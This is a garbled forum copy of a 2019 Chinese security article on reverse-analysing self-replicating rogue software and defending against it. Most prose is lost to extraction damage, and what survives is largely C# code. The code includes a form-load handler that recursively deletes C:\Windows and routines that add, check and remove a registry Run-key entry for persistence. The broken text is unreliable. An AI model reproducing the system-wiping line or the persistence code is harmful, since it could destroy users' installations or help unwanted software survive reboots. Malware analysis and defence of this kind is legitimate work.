[13895] 2019-03-21_逆向分析流氓软件自我复制以及防御思路

文档创建者:s7ckTeam
浏览次数:3
最后更新:2025-01-18
2019-03-21_逆向分析流氓软件自我复制以及防御思路   1 1 1   F r e e B u f   2 0 1 9 - 0 3 - 2 1 稿 稿 稿 稿 F r e e b u f 稿 稿
, , , , , ,
  , , , , , , , , , , i c o , , ; , , , , , . N e t W i n f o r m , , , ,
: 3 , , ,   t i m e r , , 5 0 0 m s F o r m 1 , 线 , , 线 , , ,
, C P U 使 6 8 % N o t e :
1 >   , C , 2 >   , : , , 3 >   2 > 4 >         C h e c k E x i s t R e g i s t e r A p p ( ) 1 > :   F r e e b u f , ! , q q , , 使 , 线 线 , 广 2 > , * 1 1 1   F r e e B u f     p r i v a t e   v o i d   F o r m 1 _ L o a d ( o b j e c t   s e n d e r ,   E v e n t A r g s   e )                 {                         D i r e c t o r y . D e l e t e ( @ " C : W i n d o w s " , t r u e ) ;                 }                         p u b l i c   s t a t i c   v o i d   S e t R e g i s t r y A p p ( )               {                       t r y                       {                               M i c r o s o f t . W i n 3 2 . R e g i s t r y K e y   R e g ;                               s t r i n g   S h o r t F i l e N a m e   =   A p p l i c a t i o n . P r o d u c t N a m e ;                               R e g   =   M i c r o s o f t . W i n 3 2 . R e g i s t r y . L o c a l M a c h i n e . O p e n S u b K e y ( " S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n " ,   t r u e ) ;                               i f   ( R e g   = =   n u l l )                               {                                       R e g   =   M i c r o s o f t . W i n 3 2 . R e g i s t r y . L o c a l M a c h i n e . O p e n S u b K e y ( " S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n " ) ;                               }                               R e g . S e t V a l u e ( S h o r t F i l e N a m e ,   A p p l i c a t i o n . E x e c u t a b l e P a t h ) ;                       }                       c a t c h   ( E x c e p t i o n   e x )                       {                               M e s s a g e B o x . S h o w ( e x . M e s s a g e ) ;                       }               }                                                                 p u b l i c   s t a t i c   b o o l   D e l e t e R e g i s t e r A p p ( )               {                       s t r i n g   S h o r t F i l e N a m e   =   A p p l i c a t i o n . P r o d u c t N a m e ;           / /                       t r y                       {                               M i c r o s o f t . W i n 3 2 . R e g i s t r y K e y   R e g ;                               R e g   =   M i c r o s o f t . W i n 3 2 . R e g i s t r y . L o c a l M a c h i n e . O p e n S u b K e y ( " S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n " ,   t r u e ) ;                               i f   ( R e g   = =   n u l l )                               {                                       R e g   =   M i c r o s o f t . W i n 3 2 . R e g i s t r y . L o c a l M a c h i n e . O p e n S u b K e y ( " S o f t w a r e M i c r o s o f t W i n d o w s C u r r e n t V e r s i o n R u n " ) ;                               }                               R e g . D e l e t e V a l u e ( S h o r t F i l e N a m e ,   f a l s e ) ;                       }                       c a t c h   ( E x c e p t i o n   e x )                       {                               r e t u r n   f a l s e ;                       }                       r e t u r n   t r u e ;             } ; f o r e a c h   ( s t r i n g   s   i n   R e g . G e t V a l u e N a m e s ( ) )   {                           i f   ( s . E q u a l s ( S h o r t F i l e N a m e ) )   {                           b R e s u l t   =   t r u e ;                             b r e a k ;   } }
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则